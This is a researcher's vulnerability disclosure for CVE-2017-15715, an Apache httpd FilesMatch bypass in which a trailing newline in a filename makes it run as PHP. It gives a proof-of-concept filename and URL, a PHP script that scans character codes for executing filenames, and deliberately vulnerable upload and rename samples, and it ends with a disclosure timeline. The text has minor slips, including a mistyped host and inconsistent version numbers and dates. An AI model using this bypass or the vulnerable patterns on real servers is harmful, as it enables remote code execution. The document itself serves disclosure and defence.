Description

In Apache httpd 2.4.0 to 2.4.29, the expression specified in could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are are externally blocked, but only by matching the trailing portion of the filename.

CVE-2017-15715 Proof-of-Concept

Apache configuration

Example configuration, Apache2 on Ubuntu default

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

Simplified version - file name must END with .php (like recommended on Apache documentation):

<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Entire point in demonstrated FilesMatch directive is: file can be executed as PHP program code if file name ENDS with .php (and ONLY .php) extension.

Filename

<?php
file_put_contents('poc.php'.chr(10), '<?php phpinfo(); ?>');
?>

Access it via HTTP request: poc.php%0a

http://localohost/poc.php%0a

It means - FilesMatch accepted something extra.

The Reason behind this problem is probably in PCRE: https://www.pcre.org/original/doc/html/pcreposix.html#SEC4.

Related links

Preconditions

  • User need to control file name. At least in Apache+PHP combination I don't know how to upload file name with leading newline character, it means control over file name must come via "rename" functionality.
  • For direct access with HTTP request, file must be located in public folder.

Entire test-code

<?php

define('DIR_LOCAL_FOLDER', 'tmp/');
define('URL_LOCATION', 'http://localhost/extension/tmp/');

exec('mkdir '.DIR_LOCAL_FOLDER);

function testForCharCode($charcode) {

    $ucode = str_pad(dechex($charcode), 4, '0', STR_PAD_LEFT);
    $uchr = json_decode('"\u'.$ucode.'"');

    $local_file_name = 'test_'.$charcode.'.php'.$uchr;
    $url_file_name = 'test_'.$charcode.'.php'.rawurlencode($uchr);

    $info = 'chr('.$charcode.') / \u'.$ucode.' / '.rawurlencode($uchr);

    if (!@file_put_contents(DIR_LOCAL_FOLDER.$local_file_name, '<?php echo 50-40; ?>')) {
        echo '[E] Can not write file for chr('.$charcode.')'.$local_file_name, PHP_EOL;
        return false;
    }

    $url = URL_LOCATION.$url_file_name;
    $src = @file_get_contents($url);
    if (false === $src) {
        echo '[E] Can not read URL for '.$info.': '.$url, PHP_EOL;
        return false;
    }

    if ($src == '10') {
        echo '[+] PHP EXECUTION FROM '.$info.': '.$url, PHP_EOL;
        return true;
    }

    // echo '[-] No exec from '.$info.': '.$url, PHP_EOL;
    return false;
}

for($i = 1; $i < 1024*64; $i++) {
    testForCharCode($i);
}

exec('rm -rf '.DIR_LOCAL_FOLDER);

?>

Example of vulnerable code

.php is blacklisted, application creates file and file name comes from user

<?php
// when just .php is blacklisted
if (isset($_REQUEST['filename']) && 'php' !== strtolower(pathinfo($_REQUEST['filename'], PATHINFO_EXTENSION))) {
    file_put_contents($_REQUEST['filename'], '<?php phpinfo(); ?>');
}
?>

.php is blacklisted, application allows user to rename file and file name comes from user

<?php
if (isset($_REQUEST['filename']) && 'php' !== strtolower(pathinfo($_REQUEST['filename'], PATHINFO_EXTENSION))) {
    rename('previous.txt', $_REQUEST['filename'], '<?php phpinfo(); ?>');
}
?>

Suggestions

All httpd users should upgrade to 2.4.30 or later.

Vulnerability Disclosure Timeline

Timezone for dates: Tallinn/Europe

  • 2017-11-24 | me > Apache | Description and PoC to security@httpd.apache.org
  • 2017-11-26 | Apache > me | Thanks for PoC
  • 2017-11-26 .. 2016-11-28 | me < > Apache | 15 emails of discussions and clarifications
  • 2017-12-06 | me > Apache | Any news?
  • 2017-12-06 | Apache > me | Research about scope, planning release
  • 2018-01-25 | me > Apache | Any news?
  • 2018-02-02 | Apache > me | CVE assigned, patch ready
  • 2018-02-19 | Apache | fixed/tag in github, not released https://github.com/apache/httpd/releases
  • 2018-03-21 | Apache | Released in 2.4.32 https://www.apachelounge.com/Changelog-2.4.html
  • 2018-03-23 | Apache | Disclosed in oss-sec mailinglist http://seclists.org/oss-sec/2018/q1/269
  • 2018-04-24 | me | Full Disclosure on security.elarlang.eu

Comments

comments powered by Disqus